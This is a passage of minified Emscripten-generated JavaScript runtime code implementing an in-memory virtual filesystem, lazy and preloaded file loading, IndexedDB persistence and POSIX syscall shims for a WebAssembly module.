{ FS.closeStream(stream.fd) } }), llseek: (function(stream, offset, whence) { if (!stream.seekable || !stream.stream_ops.llseek) { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) } stream.position = stream.stream_ops.llseek(stream, offset, whence); stream.ungotten = []; return stream.position }), read: (function(stream, buffer, offset, length, position) { if (length < 0 || position < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } if ((stream.flags & 2097155) === 1) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if (FS.isDir(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EISDIR) } if (!stream.stream_ops.read) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var seeking = !0; if (typeof position === "undefined") { position = stream.position; seeking = !1 } else if (!stream.seekable) { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) } var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position); if (!seeking) stream.position += bytesRead; return bytesRead }), write: (function(stream, buffer, offset, length, position, canOwn) { if (length < 0 || position < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } if ((stream.flags & 2097155) === 0) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if (FS.isDir(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EISDIR) } if (!stream.stream_ops.write) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } if (stream.flags & 1024) { FS.llseek(stream, 0, 2) } var seeking = !0; if (typeof position === "undefined") { position = stream.position; seeking = !1 } else if (!stream.seekable) { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) } var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn); if (!seeking) stream.position += bytesWritten; try { if (stream.path && FS.trackingDelegate.onWriteToFile) FS.trackingDelegate.onWriteToFile(stream.path) } catch (e) { console.log("FS.trackingDelegate[\'onWriteToFile\'](\'" + path + "\') threw an exception: " + e.message) } return bytesWritten }), allocate: (function(stream, offset, length) { if (offset < 0 || length <= 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } if ((stream.flags & 2097155) === 0) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) } if (!stream.stream_ops.allocate) { throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP) } stream.stream_ops.allocate(stream, offset, length) }), mmap: (function(stream, buffer, offset, length, position, prot, flags) { if ((stream.flags & 2097155) === 1) { throw new FS.ErrnoError(ERRNO_CODES.EACCES) } if (!stream.stream_ops.mmap) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) } return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags) }), msync: (function(stream, buffer, offset, length, mmapFlags) { if (!stream || !stream.stream_ops.msync) { return 0 } return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags) }), munmap: (function(stream) { return 0 }), ioctl: (function(stream, cmd, arg) { if (!stream.stream_ops.ioctl) { throw new FS.ErrnoError(ERRNO_CODES.ENOTTY) } return stream.stream_ops.ioctl(stream, cmd, arg) }), readFile: (function(path, opts) { opts = opts || {}; opts.flags = opts.flags || "r"; opts.encoding = opts.encoding || "binary"; if (opts.encoding !== "utf8" && opts.encoding !== "binary") { throw new Error('Invalid encoding type "\'+opts.encoding+\'"') } var ret; var stream = FS.open(path, opts.flags); var stat = FS.stat(path); var length = stat.size; var buf = new Uint8Array(length); FS.read(stream, buf, 0, length, 0); if (opts.encoding === "utf8") { ret = UTF8ArrayToString(buf, 0) } else if (opts.encoding === "binary") { ret = buf } FS.close(stream); return ret }), writeFile: (function(path, data, opts) { opts = opts || {}; opts.flags = opts.flags || "w"; opts.encoding = opts.encoding || "utf8"; if (opts.encoding !== "utf8" && opts.encoding !== "binary") { throw new Error('Invalid encoding type "\'+opts.encoding+\'"') } var stream = FS.open(path, opts.flags, opts.mode); if (opts.encoding === "utf8") { var buf = new Uint8Array(lengthBytesUTF8(data) + 1); var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length); FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn) } else if (opts.encoding === "binary") { FS.write(stream, data, 0, data.length, 0, opts.canOwn) } FS.close(stream) }), cwd: (function() { return FS.currentPath }), chdir: (function(path) { var lookup = FS.lookupPath(path, { follow: !0 }); if (lookup.node === null) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } if (!FS.isDir(lookup.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } var err = FS.nodePermissions(lookup.node, "x"); if (err) { throw new FS.ErrnoError(err) } FS.currentPath = lookup.path }), createDefaultDirectories: (function() { FS.mkdir("/tmp"); FS.mkdir("/home"); FS.mkdir("/home/web_user") }), createDefaultDevices: (function() { FS.mkdir("/dev"); FS.registerDevice(FS.makedev(1, 3), { read: (function() { return 0 }), write: (function(stream, buffer, offset, length, pos) { return length }) }); FS.mkdev("/dev/null", FS.makedev(1, 3)); TTY.register(FS.makedev(5, 0), TTY.default_tty_ops); TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops); FS.mkdev("/dev/tty", FS.makedev(5, 0)); FS.mkdev("/dev/tty1", FS.makedev(6, 0)); var random_device; if (typeof crypto !== "undefined") { var randomBuffer = new Uint8Array(1); random_device = (function() { crypto.getRandomValues(randomBuffer); return randomBuffer[0] }) } else if (ENVIRONMENT_IS_NODE) { random_device = (function() { return require("crypto").randomBytes(1)[0] }) } else { random_device = (function() { return Math.random() * 256 | 0 }) } FS.createDevice("/dev", "random", random_device); FS.createDevice("/dev", "urandom", random_device); FS.mkdir("/dev/shm"); FS.mkdir("/dev/shm/tmp") }), createSpecialDirectories: (function() { FS.mkdir("/proc"); FS.mkdir("/proc/self"); FS.mkdir("/proc/self/fd"); FS.mount({ mount: (function() { var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73); node.node_ops = { lookup: (function(parent, name) { var fd = +name; var stream = FS.getStream(fd); if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF); var ret = { parent: null, mount: { mountpoint: "fake" }, node_ops: { readlink: (function() { return stream.path }) } }; ret.parent = ret; return ret }) }; return node }) }, {}, "/proc/self/fd") }), createStandardStreams: (function() { if (Module.stdin) { FS.createDevice("/dev", "stdin", Module.stdin) } else { FS.symlink("/dev/tty", "/dev/stdin") } if (Module.stdout) { FS.createDevice("/dev", "stdout", null, Module.stdout) } else { FS.symlink("/dev/tty", "/dev/stdout") } if (Module.stderr) { FS.createDevice("/dev", "stderr", null, Module.stderr) } else { FS.symlink("/dev/tty1", "/dev/stderr") } var stdin = FS.open("/dev/stdin", "r"); assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")"); var stdout = FS.open("/dev/stdout", "w"); assert(stdout.fd === 1, "invalid handle for stdout (" +

stdout.fd + ")"); var stderr = FS.open("/dev/stderr", "w"); assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")") }), ensureErrnoError: (function() { if (FS.ErrnoError) return; FS.ErrnoError = function ErrnoError(errno, node) { this.node = node; this.setErrno = (function(errno) { this.errno = errno; for (var key in ERRNO_CODES) { if (ERRNO_CODES[key] === errno) { this.code = key; break } } }); this.setErrno(errno); this.message = ERRNO_MESSAGES[errno] }; FS.ErrnoError.prototype = new Error; FS.ErrnoError.prototype.constructor = FS.ErrnoError; [ERRNO_CODES.ENOENT].forEach((function(code) { FS.genericErrors[code] = new FS.ErrnoError(code); FS.genericErrors[code].stack = "<generic error, no stack>" })) }), staticInit: (function() { FS.ensureErrnoError(); FS.nameTable = new Array(4096); FS.mount(MEMFS, {}, "/"); FS.createDefaultDirectories(); FS.createDefaultDevices(); FS.createSpecialDirectories(); FS.filesystems = { "MEMFS": MEMFS, "IDBFS": IDBFS, "NODEFS": NODEFS, "WORKERFS": WORKERFS } }), init: (function(input, output, error) { assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)"); FS.init.initialized = !0; FS.ensureErrnoError(); Module.stdin = input || Module.stdin; Module.stdout = output || Module.stdout; Module.stderr = error || Module.stderr; FS.createStandardStreams() }), quit: (function() { FS.init.initialized = !1; var fflush = Module._fflush; if (fflush) fflush(0); for (var i = 0; i < FS.streams.length; i++) { var stream = FS.streams[i]; if (!stream) { continue } FS.close(stream) } }), getMode: (function(canRead, canWrite) { var mode = 0; if (canRead) mode |= 292 | 73; if (canWrite) mode |= 146; return mode }), joinPath: (function(parts, forceRelative) { var path = PATH.join.apply(null, parts); if (forceRelative && path[0] == "/") path = path.substr(1); return path }), absolutePath: (function(relative, base) { return PATH.resolve(base, relative) }), standardizePath: (function(path) { return PATH.normalize(path) }), findObject: (function(path, dontResolveLastLink) { var ret = FS.analyzePath(path, dontResolveLastLink); if (ret.exists) { return ret.object } else { ___setErrNo(ret.error); return null } }), analyzePath: (function(path, dontResolveLastLink) { try { var lookup = FS.lookupPath(path, { follow: !dontResolveLastLink }); path = lookup.path } catch (e) {} var ret = { isRoot: !1, exists: !1, error: 0, name: null, path: null, object: null, parentExists: !1, parentPath: null, parentObject: null }; try { var lookup = FS.lookupPath(path, { parent: !0 }); ret.parentExists = !0; ret.parentPath = lookup.path; ret.parentObject = lookup.node; ret.name = PATH.basename(path); lookup = FS.lookupPath(path, { follow: !dontResolveLastLink }); ret.exists = !0; ret.path = lookup.path; ret.object = lookup.node; ret.name = lookup.node.name; ret.isRoot = lookup.path === "/" } catch (e) { ret.error = e.errno } return ret }), createFolder: (function(parent, name, canRead, canWrite) { var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name); var mode = FS.getMode(canRead, canWrite); return FS.mkdir(path, mode) }), createPath: (function(parent, path, canRead, canWrite) { parent = typeof parent === "string" ? parent : FS.getPath(parent); var parts = path.split("/").reverse(); while (parts.length) { var part = parts.pop(); if (!part) continue; var current = PATH.join2(parent, part); try { FS.mkdir(current) } catch (e) {} parent = current } return current }), createFile: (function(parent, name, properties, canRead, canWrite) { var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name); var mode = FS.getMode(canRead, canWrite); return FS.create(path, mode) }), createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) { var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent; var mode = FS.getMode(canRead, canWrite); var node = FS.create(path, mode); if (data) { if (typeof data === "string") { var arr = new Array(data.length); for (var i = 0, len = data.length; i < len; ++i) arr[i] = data.charCodeAt(i); data = arr } FS.chmod(node, mode | 146); var stream = FS.open(node, "w"); FS.write(stream, data, 0, data.length, 0, canOwn); FS.close(stream); FS.chmod(node, mode) } return node }), createDevice: (function(parent, name, input, output) { var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name); var mode = FS.getMode(!!input, !!output); if (!FS.createDevice.major) FS.createDevice.major = 64; var dev = FS.makedev(FS.createDevice.major++, 0); FS.registerDevice(dev, { open: (function(stream) { stream.seekable = !1 }), close: (function(stream) { if (output && output.buffer && output.buffer.length) { output(10) } }), read: (function(stream, buffer, offset, length, pos) { var bytesRead = 0; for (var i = 0; i < length; i++) { var result; try { result = input() } catch (e) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } if (result === undefined && bytesRead === 0) { throw new FS.ErrnoError(ERRNO_CODES.EAGAIN) } if (result === null || result === undefined) break; bytesRead++; buffer[offset + i] = result } if (bytesRead) { stream.node.timestamp = Date.now() } return bytesRead }), write: (function(stream, buffer, offset, length, pos) { for (var i = 0; i < length; i++) { try { output(buffer[offset + i]) } catch (e) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } } if (length) { stream.node.timestamp = Date.now() } return i }) }); return FS.mkdev(path, mode, dev) }), createLink: (function(parent, name, target, canRead, canWrite) { var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name); return FS.symlink(target, path) }), forceLoadFile: (function(obj) { if (obj.isDevice || obj.isFolder || obj.link || obj.contents) return !0; var success = !0; if (typeof XMLHttpRequest !== "undefined") { throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.") } else if (Module.read) { try { obj.contents = intArrayFromString(Module.read(obj.url), !0); obj.usedBytes = obj.contents.length } catch (e) { success = !1 } } else { throw new Error("Cannot load without read() or XMLHttpRequest.") } if (!success) ___setErrNo(ERRNO_CODES.EIO); return success }), createLazyFile: (function(parent, name, url, canRead, canWrite) { function LazyUint8Array() { this.lengthKnown = !1; this.chunks = [] } LazyUint8Array.prototype.get = function LazyUint8Array_get(idx) { if (idx > this.length - 1 || idx < 0) { return undefined } var chunkOffset = idx % this.chunkSize; var chunkNum = idx / this.chunkSize | 0; return this.getter(chunkNum)[chunkOffset] }; LazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) { this.getter = getter }; LazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() { var xhr = new XMLHttpRequest; xhr.open("HEAD", url, !1); xhr.send(null); if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn\'t load " + url + ". Status: " + xhr.status); var datalength = Number(xhr.getResponseHeader("Content-length")); var header; var hasByteServing = (header = xhr.getResponseHeader("Accept-Ranges")) && header === "bytes";

```
var usesGzip = (header = xhr.getResponseHeader("Content-Encoding")) && header === "gzip"; var chunkSize = 1024 * 1024; if (!hasByteServing) chunkSize = datalength; var doXHR = (function(from, to) { if (from > to) throw new Error("invalid range (" + from + ", " + to + ") or no bytes requested!"); if (to > datalength - 1) throw new Error("only " + datalength + " bytes available! programmer error!"); var xhr = new XMLHttpRequest; xhr.open("GET", url, !1); if (datalength !== chunkSize) xhr.setRequestHeader("Range", "bytes=" + from + "-" + to); if (typeof Uint8Array != "undefined") xhr.responseType = "arraybuffer"; if (xhr.overrideMimeType) { xhr.overrideMimeType("text/plain; charset=x-user-defined") } xhr.send(null); if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn\'t load " + url + ". Status: " + xhr.status); if (xhr.response !== undefined) { return new Uint8Array(xhr.response || []) } else { return intArrayFromString(xhr.responseText || "", !0) } }); var lazyArray = this; lazyArray.setDataGetter((function(chunkNum) { var start = chunkNum * chunkSize; var end = (chunkNum + 1) * chunkSize - 1; end = Math.min(end, datalength - 1); if (typeof lazyArray.chunks[chunkNum] === "undefined") { lazyArray.chunks[chunkNum] = doXHR(start, end) } if (typeof lazyArray.chunks[chunkNum] === "undefined") throw new Error("doXHR failed!"); return lazyArray.chunks[chunkNum] })); if (usesGzip || !datalength) { chunkSize = datalength = 1; datalength = this.getter(0).length; chunkSize = datalength; console.log("LazyFiles on gzip forces download of the whole file when length is accessed") } this._length = datalength; this._chunkSize = chunkSize; this.lengthKnown = !0 }; if (typeof XMLHttpRequest !== "undefined") { if (!ENVIRONMENT_IS_WORKER) throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc"; var lazyArray = new LazyUint8Array; Object.defineProperties(lazyArray, { length: { get: (function() { if (!this.lengthKnown) { this.cacheLength() } return this._length }) }, chunkSize: { get: (function() { if (!this.lengthKnown) { this.cacheLength() } return this._chunkSize }) } }); var properties = { isDevice: !1, contents: lazyArray } } else { var properties = { isDevice: !1, url: url } } var node = FS.createFile(parent, name, properties, canRead, canWrite); if (properties.contents) { node.contents = properties.contents } else if (properties.url) { node.contents = null; node.url = properties.url } Object.defineProperties(node, { usedBytes: { get: (function() { return this.contents.length }) } }); var stream_ops = {}; var keys = Object.keys(node.stream_ops); keys.forEach((function(key) { var fn = node.stream_ops[key]; stream_ops[key] = function forceLoadLazyFile() { if (!FS.forceLoadFile(node)) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } return fn.apply(null, arguments) } })); stream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) { if (!FS.forceLoadFile(node)) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } var contents = stream.node.contents; if (position >= contents.length) return 0; var size = Math.min(contents.length - position, length); assert(size >= 0); if (contents.slice) { for (var i = 0; i < size; i++) { buffer[offset + i] = contents[position + i] } } else { for (var i = 0; i < size; i++) { buffer[offset + i] = contents.get(position + i) } } return size }; node.stream_ops = stream_ops; return node }), createPreloadedFile: (function(parent, name, url, canRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) { Browser.init(); var fullname = name ? PATH.resolve(PATH.join2(parent, name)) : parent; var dep = getUniqueRunDependency("cp " + fullname); function processData(byteArray) { function finish(byteArray) { if (preFinish) preFinish(); if (!dontCreateFile) { FS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn) } if (onload) onload(); removeRunDependency(dep) } var handled = !1; Module.preloadPlugins.forEach((function(plugin) { if (handled) return; if (plugin["canHandle"](fullname)) { plugin["handle"](byteArray, fullname, finish, (function() { if (onerror) onerror(); removeRunDependency(dep) })); handled = !0 } })); if (!handled) finish(byteArray) } addRunDependency(dep); if (typeof url == "string") { Browser.asyncLoad(url, (function(byteArray) { processData(byteArray) }), onerror) } else { processData(url) } }), indexedDB: (function() { return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB }), DB_NAME: (function() { return "EM_FS_" + window.location.pathname }), DB_VERSION: 20, DB_STORE_NAME: "FILE_DATA", saveFilesToDB: (function(paths, onload, onerror) { onload = onload || (function() {}); onerror = onerror || (function() {}); var indexedDB = FS.indexedDB(); try { var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION) } catch (e) { return onerror(e) } openRequest.onupgradeneeded = function openRequest_onupgradeneeded() { console.log("creating db"); var db = openRequest.result; db.createObjectStore(FS.DB_STORE_NAME) }; openRequest.onsuccess = function openRequest_onsuccess() { var db = openRequest.result; var transaction = db.transaction([FS.DB_STORE_NAME], "readwrite"); var files = transaction.objectStore(FS.DB_STORE_NAME); var ok = 0, fail = 0, total = paths.length; function finish() { if (fail == 0) onload(); else onerror() } paths.forEach((function(path) { var putRequest = files.put(FS.analyzePath(path).object.contents, path); putRequest.onsuccess = function putRequest_onsuccess() { ok++; if (ok + fail == total) finish() }; putRequest.onerror = function putRequest_onerror() { fail++; if (ok + fail == total) finish() } })); transaction.onerror = onerror }; openRequest.onerror = onerror }), loadFilesFromDB: (function(paths, onload, onerror) { onload = onload || (function() {}); onerror = onerror || (function() {}); var indexedDB = FS.indexedDB(); try { var openRequest = indexedDB.open(FS.DB_NAME(), FS.DB_VERSION) } catch (e) { return onerror(e) } openRequest.onupgradeneeded = onerror; openRequest.onsuccess = function openRequest_onsuccess() { var db = openRequest.result; try { var transaction = db.transaction([FS.DB_STORE_NAME], "readonly") } catch (e) { onerror(e); return } var files = transaction.objectStore(FS.DB_STORE_NAME); var ok = 0, fail = 0, total = paths.length; function finish() { if (fail == 0) onload(); else onerror() } paths.forEach((function(path) { var getRequest = files.get(path); getRequest.onsuccess = function getRequest_onsuccess() { if (FS.analyzePath(path).exists) { FS.unlink(path) } FS.createDataFile(PATH.dirname(path), PATH.basename(path), getRequest.result, !0, !0, !0); ok++; if (ok + fail == total) finish() }; getRequest.onerror = function getRequest_onerror() { fail++; if (ok + fail == total) finish() } })); transaction.onerror = onerror }; openRequest.onerror = onerror }) }; var SYSCALLS = { DEFAULT_POLLMASK: 5, mappings: {}, umask: 511, calculateAt: (function(dirfd, path) { if (path[0] !== "/") { var dir; if (dirfd === -100) { dir = FS.cwd() } else { var dirstream = FS.getStream(dirfd); if (!dirstream) throw new FS.ErrnoError(ERRNO_CODES.EBADF); dir = dirstream.path } path = PATH.join2(dir, path) } return path }), doStat: (function(func, path, buf) { try { var stat =
```

```
func(path) } catch (e) { if (e && e.node && PATH.normalize(path) !== PATH.normalize(FS.getPath(e.node))) { return -ERRNO_CODES.ENOTDIR } throw e } HEAP32[buf >> 2] = stat.dev; HEAP32[buf + 4 >> 2] = 0; HEAP32[buf + 8 >> 2] = stat.ino; HEAP32[buf + 12 >> 2] = stat.mode; HEAP32[buf + 16 >> 2] = stat.nlink; HEAP32[buf + 20 >> 2] = stat.uid; HEAP32[buf + 24 >> 2] = stat.gid; HEAP32[buf + 28 >> 2] = stat.rdev; HEAP32[buf + 32 >> 2] = 0; HEAP32[buf + 36 >> 2] = stat.size; HEAP32[buf + 40 >> 2] = 4096; HEAP32[buf + 44 >> 2] = stat.blocks; HEAP32[buf + 48 >> 2] = stat.atime.getTime() / 1e3 | 0; HEAP32[buf + 52 >> 2] = 0; HEAP32[buf + 56 >> 2] = stat.mtime.getTime() / 1e3 | 0; HEAP32[buf + 60 >> 2] = 0; HEAP32[buf + 64 >> 2] = stat.ctime.getTime() / 1e3 | 0; HEAP32[buf + 68 >> 2] = 0; HEAP32[buf + 72 >> 2] = stat.ino; return 0 }), doMsync: (function(addr, stream, len, flags) { var buffer = new Uint8Array(HEAPU8.subarray(addr, addr + len)); FS.msync(stream, buffer, 0, len, flags) }), doMkdir: (function(path, mode) { path = PATH.normalize(path); if (path[path.length - 1] === "/") path = path.substr(0, path.length - 1); FS.mkdir(path, mode, 0); return 0 }), doMknod: (function(path, mode, dev) { switch (mode & 61440) { case 32768: case 8192: case 24576: case 4096: case 49152: break; default: return -ERRNO_CODES.EINVAL } FS.mknod(path, mode, dev); return 0 }), doReadlink: (function(path, buf, bufsize) { if (bufsize <= 0) return -ERRNO_CODES.EINVAL; var ret = FS.readlink(path); var len = Math.min(bufsize, lengthBytesUTF8(ret)); var endChar = HEAP8[buf + len]; stringToUTF8(ret, buf, bufsize + 1); HEAP8[buf + len] = endChar; return len }), doAccess: (function(path, amode) { if (amode & ~7) { return -ERRNO_CODES.EINVAL } var node; var lookup = FS.lookupPath(path, { follow: !0 }); node = lookup.node; var perms = ""; if (amode & 4) perms += "r"; if (amode & 2) perms += "w"; if (amode & 1) perms += "x"; if (perms && FS.nodePermissions(node, perms)) { return -ERRNO_CODES.EACCES } return 0 }), doDup: (function(path, flags, suggestFD) { var suggest = FS.getStream(suggestFD); if (suggest) FS.close(suggest); return FS.open(path, flags, 0, suggestFD, suggestFD).fd }), doReadv: (function(stream, iov, iovcnt, offset) { var ret = 0; for (var i = 0; i < iovcnt; i++) { var ptr = HEAP32[iov + i * 8 >> 2]; var len = HEAP32[iov + (i * 8 + 4) >> 2]; var curr = FS.read(stream, HEAP8, ptr, len, offset); if (curr < 0) return -1; ret += curr; if (curr < len) break } return ret }), doWritev: (function(stream, iov, iovcnt, offset) { var ret = 0; for (var i = 0; i < iovcnt; i++) { var ptr = HEAP32[iov + i * 8 >> 2]; var len = HEAP32[iov + (i * 8 + 4) >> 2]; var curr = FS.write(stream, HEAP8, ptr, len, offset); if (curr < 0) return -1; ret += curr } return ret }), varargs: 0, get: (function(varargs) { SYSCALLS.varargs += 4; var ret = HEAP32[SYSCALLS.varargs - 4 >> 2]; return ret }), getStr: (function() { var ret = Pointer_stringify(SYSCALLS.get()); return ret }), getStreamFromFD: (function() { var stream = FS.getStream(SYSCALLS.get()); if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF); return stream }), getSocketFromFD: (function() { var socket = SOCKFS.getSocket(SYSCALLS.get()); if (!socket) throw new FS.ErrnoError(ERRNO_CODES.EBADF); return socket }), getSocketAddress: (function(allowNull) { var addrp = SYSCALLS.get(), addrlen = SYSCALLS.get(); if (allowNull && addrp === 0) return null; var info = __read_sockaddr(addrp, addrlen); if (info.errno) throw new FS.ErrnoError(info.errno); info.addr = DNS.lookup_addr(info.addr) || info.addr; return info }), get64: (function() { var low = SYSCALLS.get(), high = SYSCALLS.get(); if (low >= 0) assert(high === 0); else assert(high === -1); return low }), getZero: (function() { assert(SYSCALLS.get() === 0) }) }; function ___syscall20(which, varargs) { SYSCALLS.varargs = varargs; try { return PROCINFO.pid } catch (e) { if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } var ___tm_current = STATICTOP; STATICTOP += 48; var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC); function _gmtime_r(time, tmPtr) { var date = new Date(HEAP32[time >> 2] * 1e3); HEAP32[tmPtr >> 2] = date.getUTCSeconds(); HEAP32[tmPtr + 4 >> 2] = date.getUTCMinutes(); HEAP32[tmPtr + 8 >> 2] = date.getUTCHours(); HEAP32[tmPtr + 12 >> 2] = date.getUTCDate(); HEAP32[tmPtr + 16 >> 2] = date.getUTCMonth(); HEAP32[tmPtr + 20 >> 2] = date.getUTCFullYear() - 1900; HEAP32[tmPtr + 24 >> 2] = date.getUTCDay(); HEAP32[tmPtr + 36 >> 2] = 0; HEAP32[tmPtr + 32 >> 2] = 0; var start = Date.UTC(date.getUTCFullYear(), 0, 1, 0, 0, 0, 0); var yday = (date.getTime() - start) / (1e3 * 60 * 60 * 24) | 0; HEAP32[tmPtr + 28 >> 2] = yday; HEAP32[tmPtr + 40 >> 2] = ___tm_timezone; return tmPtr } function _gmtime(time) { return _gmtime_r(time, ___tm_current) } function ___lock() {} function ___unlock() {} function ___syscall6(which, varargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(); FS.close(stream); return 0 } catch (e) { if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function _emscripten_memcpy_big(dest, src, num) { HEAPU8.set(HEAPU8.subarray(src, src + num), dest); return dest } function _ftime(p) { var millis = Date.now(); HEAP32[p >> 2] = millis / 1e3 | 0; HEAP16[p + 4 >> 1] = millis % 1e3; HEAP16[p + 6 >> 1] = 0; HEAP16[p + 8 >> 1] = 0; return 0 } function ___syscall140(which, varargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(), offset_high = SYSCALLS.get(), offset_low = SYSCALLS.get(), result = SYSCALLS.get(), whence = SYSCALLS.get(); var offset = offset_low; FS.llseek(stream, offset, whence); HEAP32[result >> 2] = stream.position; if (stream.getdents && offset === 0 && whence === 0) stream.getdents = null; return 0 } catch (e) { if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function ___syscall146(which, varargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(), iov = SYSCALLS.get(), iovcnt = SYSCALLS.get(); return SYSCALLS.doWritev(stream, iov, iovcnt) } catch (e) { if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } function ___syscall54(which, varargs) { SYSCALLS.varargs = varargs; try { var stream = SYSCALLS.getStreamFromFD(), op = SYSCALLS.get(); switch (op) { case 21505: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; case 21506: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; case 21519: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; var argp = SYSCALLS.get();HEAP32[argp >> 2] = 0; return 0 }; case 21520: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; return -ERRNO_CODES.EINVAL }; case 21531: { var argp = SYSCALLS.get(); return FS.ioctl(stream, op, argp) }; case 21523: { if (!stream.tty) return -ERRNO_CODES.ENOTTY; return 0 }; default: abort("bad ioctl syscall " + op) } } catch (e) { if (typeof FS === "undefined" || !(e instanceof FS.ErrnoError)) abort(e); return -e.errno } } FS.staticInit(); __ATINIT__.unshift((function() { if (!Module.noFSInit && !FS.init.initialized) FS.init() }));
```

```
__ATMAIN__.push((function() { FS.ignorePermissions = !1 })); __ATEXIT__.push((function() { FS.quit() }));
Module.FS_createFolder = FS.createFolder; Module.FS_createPath = FS.createPath; Module.FS_createDataFile =
FS.createDataFile; Module.FS_createPreloadedFile = FS.createPreloadedFile; Module.FS_createLazyFile =
FS.createLazyFile; Module.FS_createLink = FS.createLink; Module.FS_createDevice = FS.createDevice;
Module.FS_unlink = FS.unlink; __ATINIT__.unshift((function() { TTY.init() })); __ATEXIT__.push((function() {
TTY.shutdown() })); if (ENVIRONMENT_IS_NODE) { var fs = require("fs"); var NODEJS_PATH = require("path");
NODEFS.staticInit() } DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC); STACK_BASE = STACKTOP =
Runtime.alignMemory(STATICTOP); STACK_MAX = STACK_BASE + TOTAL_STACK; DYNAMIC_BASE =
Runtime.alignMemory(STACK_MAX); HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE; staticSealed = !0;
Module.wasmTableSize = 14; Module.wasmMaxTableSize = 14; function invoke_ii(index, a1) { try { return
Module.dynCall_ii(index, a1) } catch (e) { if (typeof e !== "number" && e !== "longjmp") throw e; Module.setThrew(1, 0)
} } function invoke_iiii(index, a1, a2, a3) { try { return Module.dynCall_iiii(index, a1, a2, a3) } catch (e) { if (typeof e !==
"number" && e !== "longjmp") throw e; Module.setThrew(1, 0) } } function invoke_viii(index, a1, a2, a3) { try {
Module.dynCall_viii(index, a1, a2, a3) } catch (e) { if (typeof e !== "number" && e !== "longjmp") throw e;
Module.setThrew(1, 0) } } Module.asmGlobalArg = { "Math": Math, "Int8Array": Int8Array, "Int16Array": Int16Array,
"Int32Array": Int32Array, "Uint8Array": Uint8Array, "Uint16Array": Uint16Array, "Uint32Array": Uint32Array,
"Float32Array": Float32Array, "Float64Array": Float64Array, "NaN": NaN, "Infinity": Infinity }; Module.asmLibraryArg =
{ "abort": abort, "assert": assert, "enlargeMemory": enlargeMemory, "getTotalMemory": getTotalMemory,
"abortOnCannotGrowMemory": abortOnCannotGrowMemory, "invoke_ii": invoke_ii, "invoke_iiii": invoke_iiii,
"invoke_viii": invoke_viii, "_gmtime_r": _gmtime_r, "_gmtime": _gmtime, "___lock": ___lock, "___syscall6": ___syscall6,
